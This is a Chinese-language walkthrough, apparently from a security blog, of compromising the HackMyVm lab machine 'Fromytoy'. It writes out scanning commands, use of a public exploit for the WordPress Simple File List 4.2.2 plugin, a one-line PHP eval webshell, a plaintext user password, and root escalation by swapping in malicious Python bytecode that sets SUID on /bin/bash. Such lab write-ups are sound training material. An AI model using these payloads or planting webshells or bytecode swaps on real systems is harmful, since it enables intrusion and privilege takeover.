文章总结: 这篇文章详细记录了作者对HackMyVm靶场中Fromytoy靶机的渗透测试过程。作者通过Nmap扫描发现目标机开放了22、80和3000端口,随后重点对3000端口进行目录扫描,发现了一个WordPress站点。通过查找其插件simple-file-list的版本号4.2.2并利用公开的POC脚本,成功执行命令并上传一句话木马,获得www-data权限。接着,通过查找用户文件和利用一个特殊的日志轮换工具,获取了miku用户的密码并登录。最后,通过修改sudo可执行的Python脚本的pycache字节码,成功将/bin/bash设置为SUID权限,从而提升到root权限,完成渗透。
综合评分: 95
文章分类: 渗透测试,实战经验,WEB安全,红队,内网渗透
HackMyVm靶场之Fromytoy
原创
MS02423
MS02423
MS02423
2026年3月21日 16:09
天津
好长时间没有更新wp了,把拉下的wp写一写
这个靶机是群友的靶机,wp之前就写过了,最近太懒了,不想再写一遍,所以我就直接复制粘贴之前的wp了,图片可能看的有点模糊
。
1.探测 IP
nmap -sP 192.168.137.0/24
靶机 IP 是 192.168.137.201
2.扫描 IP
1)扫描端口
nmap -p- -sV 192.168.137.201
端口开启了 22,80,3000 端口,那么我们大概的思路就是在 80 和 3000
端口发现信息,然后在 22 端口进行端口,我侧重于 3000 端口
gobuster dir -u http://192.168.137.201 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip
我们在 80 端口没有发现任何信息
我们去扫描 3000 端口试试看
gobuster dir -u http://192.168.137.201:3000 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip
我们扫描到一个登录页面,我们去查看
http://192.168.137.201:3000/wp-login.php
可以看到是 wordpress,看到这个我们首先想到的是爆破用户名和密码,登录进去就是一个文件上传或者是一个 404 页面(但是这里我们使用的不是登录页面),因为密码爆破不出来。
3.访问 IP
我们访问 80 端口
http://192.168.137.201/
没有用
访问 3000 端口
http://192.168.137.201:3000/
我们在最下面发现了/wp-content/plugins/simple-file-list/
http://192.168.137.201:3000/wp-content/plugins/simple-file-list/readme.txt
版本号是 4.2.2,感觉是一个利用点,我们去搜索试试看
4.渗透测试
1)搜索漏洞点
我们使用 kali 自带的漏洞库进行搜索
searchsploit simple file list 4.2.2
我们可以看到有 poc,这里我们使用第二个
2)利用漏洞点
我们查看48979.py脚本,我们需要修改的地方只有一个payload即可
我修改的是命令执行’‘
然后执行脚本即可
sudo python3 48979.py http://192.168.137.201:3000
记得一定要使用 sudo 去执行,不然的话是会报错的
我们去查看这个 url 即可
3)验证漏洞
http://192.168.137.201:3000/wp-content/uploads/simple-file-list/7805.php?cmd=id;
可以看到是利用成功的,那么我们直接反弹 shell 即可
4)连接蚁剑
这里我们 nc 和 busybox 都是使用不了的,我们去写入一个一句话木马,然后去连接蚁剑
http://192.168.137.201:3000/wp-content/uploads/simple-filelist/7805.php/?cmd=echo%20%3C?php%20@eval($_POST[%27cmd%27]);?%3E%20%3E%3E1.php
我们连接已经蚁剑连接成功
5)切换用户
我们现在拿到的用户是 www-data,权限太低了,什么都干不了
我们去看看有哪些用户
可以看到一个 miku 用户,所以我们需要去登录到 miku 用户里面
我们去看看有哪些文件是 miku 用户的
find / -user miku 2>/dev/null
可以看到 2 个文件,我们首先看看这个 /usr/local/lib/.sys_log_rotator,
strings /usr/local/lib/.sys_log_rotator
Cat /var/www/html/wp-content/uploads/server_backup_info.txt
我们直接查看的话,告诉我们是没有权限的。
我们使用 rev 去读取这个文件
/usr/local/lib/.sys_log_rotator //var/www/html/wp-content/uploads/server_backup_info.txt
我们可以看到一些内容,我们给 ai 即可
告诉我们用户名: miku,密码: V0cal0id_M1ku_39
6)登录 miku 用户
我们可以看到登录成功,直接读取 user.txt 即可
7)查看脚本
首先,我们使用 sudo -l 去查看
可以看到任何用户都可以无密码执行
/usr/local/lib/python_scripts/cleanup_task.py 脚本
我们查看这个脚本
/usr/local/lib/python_scripts/cleanup_task.py#!/usr/bin/env python3import sysimport osimport system_utils def main(): print("[*] Starting system cleanup...") if os.geteuid() != 0: print("[-] Error: This script must be run as root.") sys.exit(1) system_utils.check_disk_space() print("[+] Cleanup completed successfully.")if __name__ == "__main__": main()
这个脚本调用 system_utils 模块中的 check_disk_space 函数检查
磁盘使用情况
当我们运行脚本,就可以看到磁盘的使用情况
我们去查看这个 system_utils 这个脚本
我们可以看到里面的内容是查看磁盘的目录,那么我们就需要把里面
的内容修改成提权的命令即可
我们不能直接去修改的,因为我们没有修改的权限,但是我们可以看
到 __pycache__目录我们是可以修改的
所以我们的思路是首先删除清空目标__pycache__目录,然后复制
恶意.pyc 到目标目录下,执行授权脚本,触发恶意字节码执行
我们在 tmp 目录下编译生成恶意的 system_utils.py 文件,编译后移
动到 /usr/local/lib/python_scripts/__pycache__/ 目录下覆盖原有的
pyc 文件,注意时间戳和字节的问题
8)编写脚本
首先,我们查看原来脚本的字节大小是 97所以我们在 tmp/system_utils.py 脚本的字节也要是 97 字节
python3 -c ' code = "import os\ndef check_disk_space():\n os.system(\"chmod 4755 /bin/bash\")\n" padding = "#" * (97 - len(code) - 1) with open("/tmp/system_utils.py", "w") as f: f.write(code + padding + "\n") '
我们查看字节可以看到是 97 字节的
同步时间戳(和原文件一致)
touch -r /usr/local/lib/python_scripts/system_utils.py /tmp/system_utils.py
编译生成匹配的 .pyc 字节码
python3.9 -m py_compile system_utils.py
验证生成的.pyc 文件(文件名必须是 system_utils.cpython-39.pyc)
ls /tmp/__pycache__/system_utils.cpython-39.pyc
替换目标机的 .pyc 文件并触发提权
清空目标__pycache__目录,避免残留旧字节码
rm -rf /usr/local/lib/python_scripts/__pycache__/*
复制恶意.pyc 到目标目录
cp /tmp/__pycache__/system_utils.cpython-39.pyc /usr/local/lib/python_scripts/__pycache__/
执行授权脚本,触发恶意字节码执行
sudo /usr/bin/python3 /usr/local/lib/python_scripts/cleanup_task.py
我们可以看到/bin/bash 变成红色了,我们直接 bash -p,获取 root权限
我们直接在 root 目录下查看 root.txt 即可
最后感谢作者 kaada 和群主 ll104567 的提示。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:MS02423 MS02423
MS02423《HackMyVm靶场之Fromytoy》